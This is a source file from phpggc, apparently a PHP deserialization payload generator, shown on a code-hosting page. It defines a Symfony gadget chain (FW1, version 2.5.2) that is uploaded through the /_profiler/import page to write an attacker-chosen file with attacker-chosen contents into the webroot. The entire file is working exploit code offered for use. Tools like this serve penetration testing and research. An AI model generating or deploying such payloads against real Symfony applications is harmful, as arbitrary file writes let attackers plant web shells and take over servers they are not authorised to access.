Codebase list phpggc / a334346 gadgetchains / Symfony / FW / 1 / chain.php
a334346

Tree @a334346 (Download .tar.gz)

chain.php @a334346raw · history · blame

<?php

namespace GadgetChain\Symfony;

class FW1 extends \PHPGGC\GadgetChain\FileWrite
{
    public static $version = '2.5.2';
    public static $vector = 'DebugImport';
    public static $author = 'cf';
    public static $information = '
    	This chain is supposed to be uploaded through the /_profiler/import
    	page. It will produce an error but the file will be created in the
    	webroot.
    ';

    public function generate(array $parameters)
    {
    	$path = $parameters['remote_path'];
    	$data = $parameters['data'];
    	return new \Symfony\Component\HttpKernel\Profiler\Profile($path, $data);
    }
}